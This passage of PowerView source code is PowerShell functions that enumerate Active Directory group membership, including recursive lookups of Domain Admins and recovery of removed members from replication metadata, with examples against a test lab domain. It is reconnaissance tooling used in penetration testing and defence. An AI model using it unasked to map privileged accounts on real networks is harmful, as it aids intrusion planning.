$ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
|
|
$ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
|
|
$ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
|
|
|
|
# determine whether the manager is a user or a group
|
|
if ($GroupManager.samaccounttype -eq 0x10000000) {
|
|
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
|
|
}
|
|
elseif ($GroupManager.samaccounttype -eq 0x30000000) {
|
|
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
|
|
}
|
|
|
|
$ACLArguments = @{
|
|
'Identity' = $_.distinguishedname
|
|
'RightsFilter' = 'WriteMembers'
|
|
}
|
|
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
|
|
|
|
# # TODO: correct!
|
|
# # find the ACLs that relate to the ability to write to the group
|
|
# $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
|
|
# # $ACLArguments
|
|
# # double-check that the manager
|
|
# if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
|
|
# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
|
|
# }
|
|
# else {
|
|
# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
|
|
# }
|
|
|
|
$ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
|
|
|
|
$ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
|
|
$ManagedGroup
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGroupMember {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return the members of a specific domain group.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for the specified
|
|
group matching the criteria. Each result is then rebound and the full user
|
|
or group object is returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
|
|
specifying the group to query for. Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Recurse
|
|
|
|
Switch. If the group member is a group, recursively try to query its members as well.
|
|
|
|
.PARAMETER RecurseUsingMatchingRule
|
|
|
|
Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
|
|
Much faster than manual recursion, but doesn't reveal cross-domain groups,
|
|
and only returns user accounts (no nested group objects themselves).
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroupMember "Desktop Admins"
|
|
|
|
GroupDomain : testlab.local
|
|
GroupName : Desktop Admins
|
|
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDomain : testlab.local
|
|
MemberName : Testing Group
|
|
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
|
|
MemberObjectClass : group
|
|
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
|
|
|
|
GroupDomain : testlab.local
|
|
GroupName : Desktop Admins
|
|
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDomain : testlab.local
|
|
MemberName : arobbins.a
|
|
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
|
|
MemberObjectClass : user
|
|
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
|
|
|
|
.EXAMPLE
|
|
|
|
'Desktop Admins' | Get-DomainGroupMember -Recurse
|
|
|
|
GroupDomain : testlab.local
|
|
GroupName : Desktop Admins
|
|
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDomain : testlab.local
|
|
MemberName : Testing Group
|
|
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
|
|
MemberObjectClass : group
|
|
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
|
|
|
|
GroupDomain : testlab.local
|
|
GroupName : Testing Group
|
|
GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
|
|
MemberDomain : testlab.local
|
|
MemberName : harmj0y
|
|
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
|
|
MemberObjectClass : user
|
|
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
|
|
|
|
GroupDomain : testlab.local
|
|
GroupName : Desktop Admins
|
|
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDomain : testlab.local
|
|
MemberName : arobbins.a
|
|
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
|
|
MemberObjectClass : user
|
|
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
|
|
|
|
GroupDomain : testlab.local
|
|
GroupName : Desktop Admins
|
|
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDomain : testlab.local
|
|
MemberName : harmj0y
|
|
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
|
|
MemberObjectClass : user
|
|
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
|
|
|
|
GroupDomain : testlab.local
|
|
GroupName : Desktop Admins
|
|
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDomain : testlab.local
|
|
MemberName : arobbins.a
|
|
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
|
|
MemberObjectClass : user
|
|
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
|
|
|
|
.EXAMPLE
|
|
|
|
'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'
|
|
|
|
.EXAMPLE
|
|
|
|
Get-Domain | Select-Object -Expand name
|
|
testlab.local
|
|
|
|
'dev\domain admins' | Get-DomainGroupMember -Verbose
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))
|
|
|
|
GroupDomain : dev.testlab.local
|
|
GroupName : Domain Admins
|
|
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
|
|
MemberDomain : dev.testlab.local
|
|
MemberName : user1
|
|
MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
|
|
MemberObjectClass : user
|
|
MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108
|
|
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))
|
|
GroupDomain : dev.testlab.local
|
|
GroupName : Domain Admins
|
|
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
|
|
MemberDomain : dev.testlab.local
|
|
MemberName : Administrator
|
|
MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
|
|
MemberObjectClass : user
|
|
MemberSID : S-1-5-21-339048670-1233568108-4141518690-500
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.GroupMember
|
|
|
|
Custom PSObject with translated group member property fields.
|
|
|
|
.LINK
|
|
|
|
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[OutputType('PowerView.GroupMember')]
|
|
[CmdletBinding(DefaultParameterSetName = 'None')]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Parameter(ParameterSetName = 'ManualRecurse')]
|
|
[Switch]
|
|
$Recurse,
|
|
|
|
[Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
|
|
[Switch]
|
|
$RecurseUsingMatchingRule,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Properties' = 'member,samaccountname,distinguishedname'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
$ADNameArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
$GroupSearcher = Get-DomainSearcher @SearcherArguments
|
|
if ($GroupSearcher) {
|
|
if ($PSBoundParameters['RecurseUsingMatchingRule']) {
|
|
$SearcherArguments['Identity'] = $Identity
|
|
$SearcherArguments['Raw'] = $True
|
|
$Group = Get-DomainGroup @SearcherArguments
|
|
|
|
if (-not $Group) {
|
|
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
|
|
}
|
|
else {
|
|
$GroupFoundName = $Group.properties.item('samaccountname')[0]
|
|
$GroupFoundDN = $Group.properties.item('distinguishedname')[0]
|
|
|
|
if ($PSBoundParameters['Domain']) {
|
|
$GroupFoundDomain = $Domain
|
|
}
|
|
else {
|
|
# if a domain isn't passed, try to extract it from the found group distinguished name
|
|
if ($GroupFoundDN) {
|
|
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
}
|
|
}
|
|
Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
|
|
$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
|
|
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
|
|
$Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
|
|
}
|
|
$Null = $SearcherArguments.Remove('Raw')
|
|
}
|
|
else {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^S-1-') {
|
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
|
}
|
|
elseif ($IdentityInstance -match '^CN=') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$GroupSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $GroupSearcher) {
|
|
Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
|
|
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
elseif ($IdentityInstance.Contains('\')) {
|
|
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
|
|
if ($ConvertedIdentityInstance) {
|
|
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
|
|
$GroupName = $IdentityInstance.Split('\')[1]
|
|
$IdentityFilter += "(samAccountName=$GroupName)"
|
|
$SearcherArguments['Domain'] = $GroupDomain
|
|
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
|
|
$GroupSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
}
|
|
else {
|
|
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
|
}
|
|
}
|
|
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
$GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
|
|
Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
|
|
try {
|
|
$Result = $GroupSearcher.FindOne()
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
|
|
$Members = @()
|
|
}
|
|
|
|
$GroupFoundName = ''
|
|
$GroupFoundDN = ''
|
|
|
|
if ($Result) {
|
|
$Members = $Result.properties.item('member')
|
|
|
|
if ($Members.count -eq 0) {
|
|
# ranged searching, thanks @meatballs__ !
|
|
$Finished = $False
|
|
$Bottom = 0
|
|
$Top = 0
|
|
|
|
while (-not $Finished) {
|
|
$Top = $Bottom + 1499
|
|
$MemberRange="member;range=$Bottom-$Top"
|
|
$Bottom += 1500
|
|
$Null = $GroupSearcher.PropertiesToLoad.Clear()
|
|
$Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
|
|
$Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
|
|
$Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
|
|
|
|
try {
|
|
$Result = $GroupSearcher.FindOne()
|
|
$RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
|
|
$Members += $Result.Properties.item($RangedProperty)
|
|
$GroupFoundName = $Result.properties.item('samaccountname')[0]
|
|
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
|
|
|
|
if ($Members.count -eq 0) {
|
|
$Finished = $True
|
|
}
|
|
}
|
|
catch [System.Management.Automation.MethodInvocationException] {
|
|
$Finished = $True
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$GroupFoundName = $Result.properties.item('samaccountname')[0]
|
|
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
|
|
$Members += $Result.Properties.item($RangedProperty)
|
|
}
|
|
|
|
if ($PSBoundParameters['Domain']) {
|
|
$GroupFoundDomain = $Domain
|
|
}
|
|
else {
|
|
# if a domain isn't passed, try to extract it from the found group distinguished name
|
|
if ($GroupFoundDN) {
|
|
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
ForEach ($Member in $Members) {
|
|
if ($Recurse -and $UseMatchingRule) {
|
|
$Properties = $_.Properties
|
|
}
|
|
else {
|
|
$ObjectSearcherArguments = $SearcherArguments.Clone()
|
|
$ObjectSearcherArguments['Identity'] = $Member
|
|
$ObjectSearcherArguments['Raw'] = $True
|
|
$ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
|
|
$Object = Get-DomainObject @ObjectSearcherArguments
|
|
$Properties = $Object.Properties
|
|
}
|
|
|
|
if ($Properties) {
|
|
$GroupMember = New-Object PSObject
|
|
$GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
|
|
$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
|
|
$GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
|
|
|
|
if ($Properties.objectsid) {
|
|
$MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
|
|
}
|
|
else {
|
|
$MemberSID = $Null
|
|
}
|
|
|
|
try {
|
|
$MemberDN = $Properties.distinguishedname[0]
|
|
if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
|
|
try {
|
|
if (-not $MemberSID) {
|
|
$MemberSID = $Properties.cn[0]
|
|
}
|
|
$MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
|
|
|
|
if ($MemberSimpleName) {
|
|
$MemberDomain = $MemberSimpleName.Split('@')[1]
|
|
}
|
|
else {
|
|
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
|
|
$MemberDomain = $Null
|
|
}
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
|
|
$MemberDomain = $Null
|
|
}
|
|
}
|
|
else {
|
|
# extract the FQDN from the Distinguished Name
|
|
$MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
}
|
|
}
|
|
catch {
|
|
$MemberDN = $Null
|
|
$MemberDomain = $Null
|
|
}
|
|
|
|
if ($Properties.samaccountname) {
|
|
# forest users have the samAccountName set
|
|
$MemberName = $Properties.samaccountname[0]
|
|
}
|
|
else {
|
|
# external trust users have a SID, so convert it
|
|
try {
|
|
$MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
|
|
}
|
|
catch {
|
|
# if there's a problem contacting the domain to resolve the SID
|
|
$MemberName = $Properties.cn[0]
|
|
}
|
|
}
|
|
|
|
if ($Properties.objectclass -match 'computer') {
|
|
$MemberObjectClass = 'computer'
|
|
}
|
|
elseif ($Properties.objectclass -match 'group') {
|
|
$MemberObjectClass = 'group'
|
|
}
|
|
elseif ($Properties.objectclass -match 'user') {
|
|
$MemberObjectClass = 'user'
|
|
}
|
|
else {
|
|
$MemberObjectClass = $Null
|
|
}
|
|
$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
|
|
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
|
|
$GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
|
|
$GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
|
|
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
|
|
$GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
|
|
$GroupMember
|
|
|
|
# if we're doing manual recursion
|
|
if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
|
|
Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
|
|
$SearcherArguments['Identity'] = $MemberDN
|
|
$Null = $SearcherArguments.Remove('Properties')
|
|
Get-DomainGroupMember @SearcherArguments
|
|
}
|
|
}
|
|
}
|
|
$GroupSearcher.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGroupMemberDeleted {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns information on group members that were removed from the specified
|
|
group identity. Accomplished by searching the linked attribute replication
|
|
metadata for the group using Get-DomainObjectLinkedAttributeHistory.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObjectLinkedAttributeHistory
|
|
|
|
.DESCRIPTION
|
|
|
|
Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute
|
|
replication metadata for the specified group. These are cases where the
|
|
'Version' attribute of group member in the replication metadata is even.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroupMemberDeleted | Group-Object GroupDN
|
|
|
|
Count Name Group
|
|
----- ---- -----
|
|
2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...
|
|
3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t...
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local
|
|
|
|
|
|
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local
|
|
TimeFirstAdded : 2017-06-13T23:07:43Z
|
|
TimeDeleted : 2017-06-13T23:26:17Z
|
|
LastOriginatingChange : 2017-06-13T23:26:17Z
|
|
TimesAdded : 2
|
|
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
|
|
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
|
|
l
|
|
|
|
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
|
|
MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local
|
|
TimeFirstAdded : 2017-06-13T22:20:02Z
|
|
TimeDeleted : 2017-06-13T23:26:17Z
|
|
LastOriginatingChange : 2017-06-13T23:26:17Z
|
|
TimesAdded : 5
|
|
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
|
|
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
|
|
l
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.DomainGroupMemberDeleted
|
|
|
|
Custom PSObject with translated replication metadata fields.
|
|
|
|
.LINK
|
|
|
|
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[OutputType('PowerView.DomainGroupMemberDeleted')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
